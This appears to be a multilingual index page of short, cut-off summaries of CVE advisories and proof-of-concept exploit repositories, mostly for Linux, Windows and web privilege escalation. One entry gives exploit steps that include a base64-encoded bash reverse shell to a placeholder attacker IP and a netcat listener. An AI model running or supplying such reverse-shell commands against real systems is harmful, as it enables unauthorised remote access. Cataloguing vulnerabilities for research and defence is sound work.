CVE-2026-65646

Improper neutralization of special elements in Plesk allows remote authenticated users to disclose arbitrary local files and escalate privileges...

CVE-2026-65646

CVE-2026-65646 is an improper neutralization of special elements vulnerability in Plesk 's DNS zone management functionality , allowing remote authenticated users to disclose arbitrary local files and escalate privileges. The CVSS 4.0 base score is 8.7 (HIGH) , with low privileges required, no us...

CVE-2026-65646

Improper neutralization of special elements in Plesk allows remote authenticated users to disclose arbitrary local files and escalate privileges...

CVE-2021-21425

CVE-2021-21425 Quelle: https://www.exploit-db.com/exploits/49973 1 Ziel-IP ändern 2 Payload ändern echo -ne "bash -i & /dev/tcp/OUR-IP/80 0&1" | base64 -w0 3 sudo nc -lvnp 80 4 python3 exploit.py...

autobloody

autobloody autobloody è uno strumento per sfruttare automaticamente i percorsi di escalation dei privilegi di Active Directory mostrati da BloodHound. Descrizione Questo strumento automatizza l'escalation dei privilegi AD tra due oggetti AD: la sorgente quella che possediamo e il target quella ch...

CVE-2026-55228

Weblate is a web-based continuous localization platform used to manage software translations. In versions prior to 2026.7, the REST API did not properly enforce the scope of project- and workspace-scoped teams, allowing a user to submit invalid team configurations through the API. By assigning...

CVE-2026-52473

An issue in Wgcloud 3.6.4 allows a remote attacker to escalate privileges via the content parameter is directly concatenated to the ProcessBuilder...

CVE-2025-32463_sudo_chroot

CVE-2025-32463 - sudo chroot Utilizzo Il Dockerfile crea un ambiente di test sicuro e isolato con una versione vulnerabile di sudo 1.9.16p2 installata. Questo ti consente di testare l'exploit senza influenzare il tuo sistema host. root@kitploit: Build the vulnerable test environment docker build ...

CVE-2024-37726-MSI-Center-Local-Privilege-Escalation

CVE-2024-37726 MSI Center Escalação de Privilégio Local - Vulnerabilidade de Sobrescrita Arbitrária de Arquivos Resumo da Vulnerabilidade Uma vulnerabilidade de escalação de privilégio local no sistema operacional Windows foi identificada nas versões = 2.0.36.0 do MSI Center, que permite a um...

cve-2022-49186-research

CVE-2022-49186: Ricerca sull'Elevazione dei Privilegi nel Kernel Linux Panoramica Ricerca sulla sicurezza e proof-of-concept exploit per CVE-2022-49186, una vulnerabilità del kernel Linux nel driver dell'orologio Visconti che consente l'elevazione locale dei privilegi tramite overflow di array...

POC-CVE-2024-38820

CVE-2024-38820 Prova di concetto Panoramica Questo progetto dimostra CVE-2024-38820 , una vulnerabilità nel DataBinder di Spring Framework che consente di aggirare la protezione disallowedFields a causa di problemi di conversione di maiuscole/minuscole dipendenti dalla locale. Dettagli della...

CVE-2023-22515

CVE-2023-22515: Rapporto sull'analisi della vulnerabilità di elevazione dei privilegi in Confluence Data Center & Server 1. Panoramica Overview CVE-2023-22515 è una vulnerabilità critica di Broken Access Control rilevata nei prodotti Atlassian Confluence Data Center e Server. Un attaccante, senza...

CVE-2022-0847-Linux

CVE-2022-0847 विवरण - CVE-2022-0847 के लिए POC: Linux Kernel स्थानीय विशेषाधिकार वृद्धि भेद्यता। - antx द्वारा 2022-03-08 को निर्मित। विस्तार - सुरक्षा शोधकर्ता Max Kellermann ने 'Dirty Pipe' भेद्यता का जिम्मेदारीपूर्वक खुलासा किया और बताया कि यह Linux Kernel 5.8 और उसके बाद के संस्करणों को...

CVE-2023-1829

CVE-2023-1829 यह शोषण Ubuntu22.04 के आधिकारिक स्रोत कोड 5.15.0-25.25 पर परीक्षण किया गया है। कुछ netlink फ़िल्टर फ़ंक्शंस के लिए निर्भरताएँ स्थापित करना root@kitploit: sudo apt install libnftnl-dev libmnl-dev बिल्ड करने का चरण: root@kitploit: make संदर्भ...

CVE-2022-0847

CVE-2022-0847 Fonte original https://dirtypipe.cm4all.com/ Uso gcc exploit.cpp -o exploit ./exploit Isso abrirá um shell root Descrição da vulnerabilidade Esta é a CVE-2022-0847, uma vulnerabilidade no kernel Linux desde a versão 5.8, que permite sobrescrever dados em arquivos arbitrários somente...

CVE-2018-17182

CVE-2018-17182 Vulnerabilidade de escalonamento de privilégios VMA-UAF no kernel Linux CVE-2018-17182 Sobre Pesquisadores de segurança cibernética do Google Project Zero publicaram informações detalhadas e um exploit de prova de conceito PoC para uma vulnerabilidade de alta gravidade presente no...

CVE-2025-61229

CVE-2025-61229 Descrição Do blog do desenvolvedor: Scripts shell Before/After definíveis pelo usuário são executados com privilégios elevados, com as permissões de Full Disk Access Acesso Total ao Disco do TCC do SuperDuper. Como esses scripts shell são referenciados pelos arquivos de configuraçõ...

CVE-2023-1326

CVE-2023-1326 إثبات مفهوم لـ CVE-2023–1326 في apport-cli 2.26.0 هذه الثغرة هي تصعيد صلاحيات في apport-cli 2.26.0، وهي مشابهة لـ CVE-2023–26604، وتعمل هذه الثغرة فقط إذا تم تعيينها في sudoers: تم العثور على هجوم تصعيد صلاحيات في apport-cli 2.26.0 والإصدارات السابقة وهو مشابه لـ CVE-2023-26604. إذا...

android-CVE-2016-5195

CVE-2016-5195 CVE-2016-5195 dirty cow/dirtycow/dirtyc0w prova di concetto per Android Questo repository dimostra la vulnerabilità su dispositivi Android vulnerabili collegati tramite ADB. Non disabilita SELinux vedi https://github.com/timwr/CVE-2016-5195/issues/9 né installa superuser sul...

CVE-2022-0847-DirtyPipe-

CVE-2022-0847-DirtyPipe-Exploits Una raccolta di exploit e documentazione per penetration tester e red teamer che può essere utilizzata per agevolare lo sfruttamento della vulnerabilità Dirty Pipe di Linux. Informazioni sulla vulnerabilità Dirty Pipe CVE-2022-0847 è una vulnerabilità di escalatio...